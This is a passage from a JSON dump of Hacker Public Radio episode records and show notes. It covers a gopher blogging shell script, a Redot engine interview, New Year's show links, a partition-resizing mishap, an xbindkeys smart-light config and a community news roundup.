
                                                            \n

                                                            For gopher, I create a file listing by date using a shell\n script:

                                                            \n
                                                            #!/usr/bin/bash\nSED=/usr/bin/sed\nDIR_BASE=/my/live/dir\nDIR_LIVE=blog\nDIR_STAGING=staging\nDATE=${DATE:-`date --rfc-3339=date`}\nfor POST in `find \"$DIR_BASE\"/\"$DIR_STAGING\" \\\n-type f -name \"item.md\" -exec grep -Hl \"$DATE\" {} \\;`;\ndo \nPOSTDIR=`dirname \"$POST\"`\ncp \"$POST\" \"$DIR_BASE\"/\"$DIR_LIVE\"/`basename $POSTDIR`.txt\necho -e 0Latest'\\t'../\"$DIR_LIVE\"/`basename $POSTDIR`.txt > /tmp/updater.tmp\n\necho -e 0\"$DATE\" `basename $POSTDIR`'\\t'../\"$DIR_LIVE\"/`basename $POSTDIR`.txt \\\n>> /tmp/updater.tmp\n\"${SED}\" -i \"/0Latest/ r /tmp/updater.tmp\" \"$DIR_BASE\"/date/gophermap\n\"${SED}\" -i '0,/0Latest/{/0Latest/d;}' \"$DIR_BASE\"/date/gophermap\n/usr/bin/rm /tmp/updater.tmp\ndone \n
                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"git, gopher","version":0,"downloads":0,"valid":1}, {"id":4343,"date":"2025-03-26","title":"Interviewing the Redot engine Founder","duration":3816,"summary":"Discussing the project birth, its future, other engines and diving into GPL licenses.","notes":"\n

                                                            \nInterview with one of the \n\"Redot Engine\"\n founders, Andrew.

                                                            \n

                                                            \nRedot Engine is a fork of the famous free and open source project \"Godot engine\".

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNOTE: \nThis is my first time interviewing someone for a podcast, so feel free to point out any improvements and critiques I can learn from.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAfter an introduction about the reasons the project was created, we focus on other engines, on the videogame console situation, on a FOSS licensing debate, on Redot's future and on C language interoperability.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOfficial links:

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n

                                                            \nProjects and links we've talked about:

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRedot slogan:

                                                            \n

                                                            \n> \"Your game, your rules\"

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":407,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"fork,FOSS,GPL,Redot,videogames,engine","version":0,"downloads":0,"valid":1}, {"id":4344,"date":"2025-03-27","title":"24-25 New Years Eve show episode 4","duration":6353,"summary":"The HPR community comes together to say happy new year and chat","notes":"\n

                                                            \n-----------------

                                                            \n

                                                            \nNYE 2025 4

                                                            \n

                                                            \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nJimmy Carter and the Govenor of Texas

                                                            \n

                                                            \n\nhttps://www.cbsnews.com/texas/news/texas-governor-greg-abbott-sends-condolences-to-rosalynn-carter-who-died-in-2023-following-jimmy-carters-death/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFinger Cot

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Finger_cot\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFilk Music

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Filk_music\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMoss Bliss

                                                            \n

                                                            \n\nhttps://mordewis.bandcamp.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nGeorgia Filk Convention

                                                            \n

                                                            \n\nhttps://www.gafilk.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLiquid Callus

                                                            \n

                                                            \n\nhttps://www.amazon.com/Rock-Tips-Liquid-Formula-Stringed-Instruments/dp/B008MY3VU2\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEnya Nextg Guitar

                                                            \n

                                                            \n\nhttps://www.enya-music.com/collections/guitar\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nGuitar Gloves

                                                            \n

                                                            \n\nhttps://www.amazon.com/guitar-glove/s?k=guitar+glove\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSoju

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Soju\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBird Dog Whiskey

                                                            \n

                                                            \n\nhttps://birddogwhiskey.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDelta 8 vs Delta 9

                                                            \n

                                                            \n\nhttps://jcannabisresearch.biomedcentral.com/articles/10.1186/s42238-021-00115-8\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBodhi Linux

                                                            \n

                                                            \n\nhttps://www.bodhilinux.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nInternet Archive

                                                            \n

                                                            \n\nhttps://archive.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTrump buy Greenland

                                                            \n

                                                            \n\nhttps://www.foxnews.com/politics/make-greenland-great-again-trumps-house-gop-allies-unveil-bill-authorize-countrys-purchase\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPierre Poilievre

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Pierre_Poilievre\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nChrystia Freeland

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Chrystia_Freeland\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nJustin Trudeau

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Justin_Trudeau\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNew Democratic Party

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/New_Democratic_Party\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTrump Bankruptcies

                                                            \n

                                                            \n\nhttps://www.abi.org/feed-item/examining-donald-trump%E2%80%99s-chapter-11-bankruptcies\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nElmers Glue

                                                            \n

                                                            \n\nhttps://www.elmers.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPentagon Federal Credit Union

                                                            \n

                                                            \n\nhttps://www.penfed.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUS Draft

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Conscription_in_the_United_States\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nVienna Susages

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Vienna_sausage\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nVegan vs Vegetarian

                                                            \n

                                                            \n\nhttps://www.healthline.com/nutrition/vegan-vs-vegetarian\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBeyond Meat sausage

                                                            \n

                                                            \n\nhttps://www.beyondmeat.com/en-US/products/beyond-sausage\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRaspberry PI 5

                                                            \n

                                                            \n\nhttps://www.raspberrypi.com/products/raspberry-pi-5/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMIT Open Course Ware

                                                            \n

                                                            \n\nhttps://ocw.mit.edu/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHAM License

                                                            \n

                                                            \n\nhttp://www.arrl.org/getting-licensed\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n89 Corolla

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Toyota_Corolla_(E90)#North_America\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAutism

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Autism\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAsperger syndrome

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Asperger_syndrome\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNarcissistic

                                                            \n

                                                            \n\nhttps://www.helpguide.org/mental-health/personality-disorders/narcissistic-personality-disorder\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThermal Paste

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Thermal_paste\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n7-11

                                                            \n

                                                            \n\nhttps://www.7-eleven.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMIT

                                                            \n

                                                            \n\nhttps://www.mit.edu/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWild Pie

                                                            \n

                                                            \n\nhttps://www.wildpie.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFollow your Heart Cheese

                                                            \n

                                                            \n\nhttps://followyourheart.com/product_category/dairy-free-cheese/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMorning Star 

                                                            \n

                                                            \n\nhttps://www.morningstarfarms.com/en_US/products/veggie-burgers.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBoca Burger

                                                            \n

                                                            \n\nhttps://www.kraftheinz.com/boca\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNip/Tuck

                                                            \n

                                                            \n\nhttps://www.imdb.com/title/tt0361217/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAmerican Cheese

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/American_cheese\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBoxing Day

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Boxing_Day\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMumble

                                                            \n

                                                            \n\nhttps://www.mumble.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nVPN

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Virtual_private_network\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPfsense

                                                            \n

                                                            \n\nhttps://www.pfsense.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOpen wrt

                                                            \n

                                                            \n\nhttps://openwrt.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAC wifi protocol

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/IEEE_802.11ac-2013\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOpen Sense

                                                            \n

                                                            \n\nhttps://opnsense.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLinux

                                                            \n

                                                            \n\nhttps://www.linux.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWiindows 7

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Windows_7\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nVAX system

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/VAX\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNovell

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Novell\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPDP-11

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/PDP-11\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLotus Notes

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Lotus_Software\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRed Hat Linux

                                                            \n

                                                            \n\nhttps://www.redhat.com/en\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nDebian Linux

                                                            \n

                                                            \n\nhttps://www.debian.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUbuntu Linux

                                                            \n

                                                            \n\nhttps://ubuntu.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLinux Mint

                                                            \n

                                                            \n\nhttps://linuxmint.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOpen Suse

                                                            \n

                                                            \n\nhttps://www.opensuse.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4345,"date":"2025-03-28","title":"Android 2025","duration":554,"summary":"I talk about my current setup with locked down Android phone","notes":"

                                                            A collection of tips and tricks that operat0r uses to make a standard Android phone more custom. The secret block extension is \"11335506\" - tell 'em Ken sent ya.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hacking,android,ad blocking,youtube ads,smart phones","version":0,"downloads":0,"valid":1}, {"id":4346,"date":"2025-03-31","title":"A brief review of the Pinetab 2","duration":682,"summary":"I go into some thoughts I have of the Pinetab 2","notes":"\n
                                                            \n

                                                            The PineTab2 is PINE64's successor to the original PineTab\n Linux tablet computer, featuring a faster processor and better\n availability. The tablet is available in two configurations, 4GB\n of RAM and 64GB of internal storage or 8GB of RAM and 128GB of\n internal storage. The tablet ships with a detachable keyboard\n that doubles as a protective cover.\n

                                                            \n

                                                            The tablet is designed around the Rockchip RK3566 processor,\n which features 4 energy-efficient Cortex-A55 64-bit ARM cores\n and enjoys good mainline Linux support. A similarly packaged\n RISC-V tablet is the PineTab-V.\n

                                                            \n

                                                            Pre-orders started on the 13th of April 2023, with pricing\n starting at USD 159 for the 4GB/64GB version and USD 209 for the\n 8GB/128GB version. The PineTab2 began shipping on June 2, 2023.
                                                            \n

                                                            \n

                                                            Taken from\n https://wiki.pine64.org/wiki/PineTab2

                                                            \n
                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, tablet, pine64, pinetab","version":0,"downloads":0,"valid":1}, {"id":4347,"date":"2025-04-01","title":"\"Of my country!\" Brazil - in a Southern city viewing","duration":635,"summary":"I tell you my sincere impressions about topics of my country, from my limited experience and studies","notes":"\n

                                                            \nI’m glad I’m here with you! I'll tell my impressions on things of my Brazilian country.

                                                            \n

                                                            \n\nPardon me for some high-volume transitions\n! Trying and testing the brickabrackis (\npossibilities\n). Pleasing or not.

                                                            \n

                                                            \nThanks!

                                                            \n

                                                            \n 

                                                            \n

                                                            \n\nTopics:\n

                                                            \n

                                                            \n1- Sistema Único de Saúde (the national health system)

                                                            \n

                                                            \nWorks!
                                                            \nAny citizen, any person, has access to health treatment: no payment, no check if the person has payed taxes on anything, if is a worker or not.
                                                            \nOf course, waiting time might be a problem if it's not an urgency or emergency, and quality varies (as any service, paid or not), according to city (capital or country town, more structured or smaller cities), hospital, the specific doctor and support team etc.\n

                                                            \n

                                                            \n2- Tap water

                                                            \n

                                                            \nThe water from the tap is safe, recognized as drinking water (in my city, and maybe in many if not most). The water treatment company (\"Sanepar\") here even sells their water bottled, and sponsors events that distribute them (sports events) to show the quality.
                                                            \nBut people don't use to drink from the tap it directly. If they do not use a filter, it's common to buy water in 20 liters carboys \n(big plastic bottles, 20L is a bit more than 5 gallons)\n. I use this last option, but drink water under the shower also.
                                                            \nMost people (that I know, of course) simply \ndon't drink water\n! I don't know. I don't understand how it is, but they don't drink water, not even a liter per day. Coffee and soda are the most common \"substitutes\".\n

                                                            \n\n

                                                            \n3- Religion numbers

                                                            \n

                                                            \nStatistics about religion are very misleading. You can find different numbers but it's generally: more than half identifying as Catholics. More than 20% evangelical, 10% without religion.
                                                            \nBut those numbers say nothing about reality of what you find in the streets. Maybe because in some areas it's embarassing to identify as an atheist, as if you're immoral and cannot be trusted; so, people without religion simply say the religion of the family, or the generic \"catholic, non-practicing\".\n

                                                            \n

                                                            \n4- Brazilian Law

                                                            \n

                                                            \nOur law is written and detailed. Everything you could want to know about our judicial system, our rights and etc. are explicit in laws; and our Constitution, in force since 1988, with more than 200 articles, guides all.
                                                            \nThe Supreme Court can make and change interpretations and, thus, issue binding decisions that are not seem in the law, but this is the exception.\n

                                                            \n\n

                                                            \n\n\n\n

                                                            \n\n

                                                            \n\nCover of the official edition of the Brazilian Constitution in the English Language. (Source: https://www.stf.jus.br/arquivo/cms/legislacaoConstituicao/anexo/Brazil_Federal_Constitution_EC_125.pdf. Accessed on February 2025.)\n

                                                            \n

                                                            \nMost of the norms are federal and encompass the entire nation: it is a reason we are so \"equal\", in many senses, while living in a country with 212 million people (official estimation of IBGE, July 1st 2024\n*\n) and that represents 48% of the size of South America.\n

                                                            \n\n

                                                            \n5- Now something very specific to my city, a capital city on the south of the country

                                                            \n

                                                            \nIt's not expected to say Good morning when you cross with a stranger on the street. No Hello or Good morning to the bus driver also. I mean, a lot of people greet, but many don't and it's common to not do so.
                                                            \nIn many other parts of the country, of course, it's different. For example, I lived in a capital city on the north, and everybody expected you to say \nGood Morning!\n when entering an elevator in the morning, behavior that generally makes people think you're strange here in my southern city.
                                                            \nIf I ask for the name of a seller on a store, to be more polite saying his or her name occasionally if I am making a lot of questions and demanding more attention time, they ask, you're not from here are you?
                                                            \nAnd I am.
                                                            \nIf anything here sounds not good, please reject and keep the good. It's only impressions that I wanted to share. Thank you.

                                                            \n\n

                                                            \n\n*\nThis news in English: From: Agência IBGE. Link: \nhttps://agenciadenoticias.ibge.gov.br/en/agencia-news/2184-news-agency/news/41122-populacao-estimada-do-pais-chega-a-212-6-milhoes-de-habitantes-em-2025\n. Accessed on February 2025.

                                                            \n

                                                            \nSound used, credits (author – sound):\n

                                                            \nfreesound_community / Pixabay – \nDictaphone\n.

                                                            \n

                                                            \nRobinhood76 / Freesound.org – \n01893 do it again spell\n (CC-BY-NC 4.0)

                                                            \n

                                                            \nJavolenus / ccmixter –  \nArctura (Polarpulse PS3300)\n (CC-BY-NC 4.0)

                                                            \n

                                                            \nRobinhood76 / Freesound.org – \n13024 reel to reel fast forward with preview\n (CC-BY-NC 4.0)

                                                            \n

                                                            \nZavier Brewer / Pixabay – Re(wind) [ending music before the outro].

                                                            \n\n\n","hostid":441,"series":0,"explicit":0,"license":"CC-BY-NC","tags":"Brazil, Of my Country, Religion, Christianity, Capital cities, Paraná, Tap water","version":0,"downloads":0,"valid":1}, {"id":4348,"date":"2025-04-02","title":"Resizing the root partition on a PC","duration":599,"summary":"What happened when I hastily resized the root partition on my DEL Optiplex PC.","notes":"

                                                            \nBackground

                                                            \n

                                                            \nIt all happened when I noticed that a disk space monitor sitting in the top right hand side on my Gnome desktop was red.

                                                            \n

                                                            \nOn inspection I discovered that my root filesystem was 87% full.

                                                            \n

                                                            \nThe root partition was only 37GB in size which meant there was less than 4GB of space left.

                                                            \n

                                                            \nWhen I thought back I remembered that my PC was running a bit slower than usual and that that the lack of space in the root partition could have been to blame.

                                                            \n

                                                            \nI had some tasks that I wanted to complete and thought I’d better do something about the lack of space before it became an even bigger problem.

                                                            \n\n

                                                            \nWhat happened

                                                            \n

                                                            \nAs per usual all this happened when I was short of time and I was in a bit of a hurry.

                                                            \n\n
                                                              \n
                                                            • \n\nLesson one don’t do this sort of thing when your in a bit of a hurry.\n
                                                            • \n
                                                            \n

                                                            \nBecause I was in a hurry I didn’t spend time doing a complete backup.

                                                            \n\n
                                                              \n
                                                            • \n\nLesson two do a backup.\n
                                                            • \n
                                                            \n

                                                            \nMy plan was to get some space back by shrinking my home partition leaving some empty space to allow me to increase the size of my root partition.

                                                            \n

                                                            \nFor speed and ease I decided to use Gparted as I have used this many times in the past.

                                                            \n

                                                            \n\nWikipedia article about Gparted\n

                                                            \n

                                                            \n\nOfficial Gparted webpage \n

                                                            \n

                                                            \nIt’s not a good idea to try and resize and or move a mounted filesystem so a bootable live version of Gparted would be a good idea. The reason for this is that if you run Gparted from your normal Linux OS and the OS decides to write something to the disk while Gparted is also trying to write or move things on the disk then as you could imagine very bad things could and probably would happen.

                                                            \n

                                                            \nI knew I had an old bootable live CDROM with Gparted on it as I had used this many times in the past though not for a few years. As I was short on time I thought this would be the quickest way to get the job done.

                                                            \n

                                                            \nI booted up the live CD and setup the various operations such as shrinking the home partitions, moving it to the right to leave space for the root partition then finally increasing the size of the almost full root partition.

                                                            \n

                                                            \nWhat I didn’t notice at the time is that there was a tiny explanation mark on at least one of the partitions. I probably missed this because I was in a hurry.

                                                            \n\n
                                                              \n
                                                            • \n\nLesson three don’t rush things and be on the lookout for any error messages.\n
                                                            • \n
                                                            \n

                                                            \nWhen I clicked the green tick button to carry out the operations it briefly seemed to start and almost instantly stopped saying that there were errors and that the operation was unsuccessful and something about unsupported 64 bit filesystems. At this point I thought / hoped that nothing had actually happened. My guess was that the old live Gparted distribution I was using didn’t support Ext4 though I could be completely wrong on this.

                                                            \n\n
                                                              \n
                                                            • \n\nLesson four don’t use old versions of Gparted particularly when performing operations on modern filesystems.\n
                                                            • \n
                                                            \n

                                                            \n\nWikipedia article about the Ext4 filesystem\n

                                                            \n

                                                            \nI removed the Gparted bootable CD and rebooted my PC. At this point I got lots of errors scrolling up the screen

                                                            \n

                                                            \nI then got a message I’ve never see before from memory I think it said Journaling

                                                            \n

                                                            \nIt then said something about pass 1 pass 2 pass 3 and continued all the way to 5.

                                                            \n

                                                            \nThen it talked about recovering data blocks.

                                                            \n

                                                            \nAt this point I got very nervous. I had all sorts of fears going through my head. I imagined I may have lost all the contents of my hard-rive. The whole experience was very scary.

                                                            \n

                                                            \nI let it complete all operations and eventually my Ubuntu operating system came up and seemed okay.

                                                            \n

                                                            \nI rebooted the PC and this time it booted correctly with no error messages and everting was okay.

                                                            \n

                                                            \nI have often seen things said about Journaling filesystems and how good they are though until this point I had never seen any real examples of them repairing a filesystem.

                                                            \n

                                                            \nBoth my root and home partitions were EXT 4 and thankfully EXT 4 supports Journaling which I believe on this occasion saved me from a great deal of pain.

                                                            \n\n
                                                              \n
                                                            • \n\nLesson five it might be a good idea to use Journaling filesystems.\n
                                                            • \n
                                                            \n

                                                            \n\nWikipdeai article about Journaling filesystems\n

                                                            \n

                                                            \nThis still left me with the original problem in that I had little free space on my root filesystems.

                                                            \n

                                                            \nThis time I decided to take my time and break the task up into smaller chunks and not to do it in one go.

                                                            \n

                                                            \nFirst I downloaded the newest Live distribution version of Gparted

                                                            \n

                                                            \nI performed the checksum test to make sure the download was successful with no errors.

                                                            \n

                                                            \nThe next day I tried to write it to a CD-ROM something I haven’t done for a very long time.

                                                            \n

                                                            \nI initially couldn’t understand why I couldn’t click on the write button then I looked at my blank CD-ROM using the UBUNTU GNOME DISKS application. It reported that the disk was read only.

                                                            \n

                                                            \nI did a bit of goggling and came across a post saying that they had come across this and that they solved this by installing the CD-ROM writing application Brasero.

                                                            \n

                                                            \n\nWikipedia article about Brasero\n)

                                                            \n

                                                            \n\nOfficial website for Brasero\n

                                                            \n

                                                            \nInstalling Brasero solved the problem and allowed me to write the image file to CD-ROM. I was actually surprised that it wasn’t installed as I’ve used this application in the past. Just goes to show how long it’s been since I’ve written anything to CD-ROM!

                                                            \n

                                                            \nI booted the CD-ROM to check that Gparted worked and didn’t see any explanation marks on any of my partitions. I was short on time and didn’t want to rush things so decided to stop at this point.

                                                            \n

                                                            \nLater on I popped the live bootable Gparted CD-ROM running version 1.6.0.3 AMD 64 version into my PC and booted it up.

                                                            \n

                                                            \nEverything seemed okay and there were no errors showing.

                                                            \n

                                                            \nI took my home partition SDA6 and shrunk it down by about 20 GB and then shifted it 20 GB to the right to the end of the disk.

                                                            \n

                                                            \nThis left a 20 GB gap at the end of my root partition.

                                                            \n

                                                            \nI then increased the size of my root partition SDA5 by approximately 20 GB to fill the empty space.

                                                            \n

                                                            \nIt took Gparted about one hour and 40 minutes to complete all the operations.

                                                            \n

                                                            \nThe root partition is now reporting 61% full rather than 86% full.

                                                            \n

                                                            \nThe root partition is now approximately 53 GB in size with 31 GB used. 22 GB is now free which is a bit more comfortable.

                                                            \n

                                                            \n\n\"\"\n\n

                                                            \n\n

                                                            \n\nPicture 1 \nIs a screenshot of GParted showing the new sizes of my root and home partitions.

                                                            \n

                                                            \nI removed the GParted CD from my CD-ROM drive and rebooted the PC to thankfully find all was well and no errors reported.

                                                            \n\n

                                                            \nConclusion

                                                            \n

                                                            \nMy PC is now running more smoothly.

                                                            \n

                                                            \nAll I can say after all this is that I consider myself very lucky this time and I hope I learned some valuable lessons along the way.

                                                            \n\n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,GParted","version":0,"downloads":0,"valid":1}, {"id":4349,"date":"2025-04-03","title":"xbindkeys send keys for linux!","duration":703,"summary":"I talk about my setup with x bind keys!","notes":"\n

                                                            \nWe're going to be talking about synth keys more specifically sending keystrokes and Linux\n

                                                            \n\n
                                                            \ncat ~/.xbindkeysrc\n/bin/bash /home/plex/.local/bin/Plex.sh\n/bin/bash /home/plex/.local/bin/Steam.sh\n/usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer on; /usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer brightness 100\n/usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer on; /usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer brightness 40\n/usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer on; /usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer brightness 12\n/usr/local/bin/kasa --host 192.168.1.239  --port 9999 --type dimmer off;xrandr --output default --gamma 3:3:3\n
                                                            \n\n

                                                            Links

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,scripting","version":0,"downloads":0,"valid":1}, {"id":4350,"date":"2025-04-04","title":"GIMP: More Photo Fixes","duration":850,"summary":"A few more fixes to some of the common problems in photos","notes":"

                                                            \n If you you take a lot of photos, some of them will show problems.\n But you don't need to throw them away. With GIMP, you can fix\n these common problems and restore your photos. In this episode I\n take a look at two problems that turn out to be related and to\n have similar fixes: Dark photos, and Color problems.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Dark photos, Color problems","version":0,"downloads":0,"valid":1}, {"id":4351,"date":"2025-04-07","title":"HPR Community News for March 2025","duration":6216,"summary":"HPR Volunteers talk about shows released and comments posted in March 2025","notes":"

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Marc W. Abel.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4326Mon2025-03-03HPR Community News for February 2025HPR Volunteers
                                                            4327Tue2025-03-04Chatting with SgotiSome Guy On The Internet
                                                            4328Wed2025-03-05Use SELinux the easy wayKlaatu
                                                            4329Thu2025-03-06Maintaining The Remote Systemhairylarry
                                                            4330Fri2025-03-07GIMP: Fixing PhotosAhuka
                                                            4331Mon2025-03-10Re-inventing the light switchLee
                                                            4332Tue2025-03-11Top 5 mistakes every new terminal user makesKlaatu
                                                            4333Wed2025-03-12A Radically Transparent Computer Without Complex VLSIMarc W. Abel
                                                            4334Thu2025-03-1324-25 New Years Eve show episode 3Honkeymagoo
                                                            4335Fri2025-03-14Responce to Antoin's H P R 4 3 1 3 operat0r
                                                            4336Mon2025-03-17The Everything-I-Know 20-minutes ShowAntoine
                                                            4337Tue2025-03-18Open Web UIoperat0r
                                                            4338Wed2025-03-19328eforthBrian in Ohio
                                                            4339Thu2025-03-20Review of the YR01 smart lockRho`n
                                                            4340Fri2025-03-21Playing Civilization IV, Part 7Ahuka
                                                            4341Mon2025-03-24Transferring Large Data Setshairylarry
                                                            4342Tue2025-03-25How I use Git to blog on the web and gopherspaceKlaatu
                                                            4343Wed2025-03-26Interviewing the Redot engine FounderCeleste
                                                            4344Thu2025-03-2724-25 New Years Eve show episode 4Honkeymagoo
                                                            4345Fri2025-03-28Android 2025operat0r
                                                            4346Mon2025-03-31A brief review of the Pinetab 2Swift110
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3967\n(2023-10-17) \"Unsolicited thoughts on running open source software projects\"\nby dnt.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAntoine on 2025-03-01:\n\"My comment about this show\"

                                                              \n
                                                            • hpr4142\n(2024-06-18) \"A Shared Shell History With Atuin\"\nby mnw.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2025-03-12:\n\"Appreciate the overview\"

                                                              \n
                                                            • hpr4276\n(2024-12-23) \"PWNED\"\nby operat0r.
                                                              \n
                                                            • \n
                                                                \n
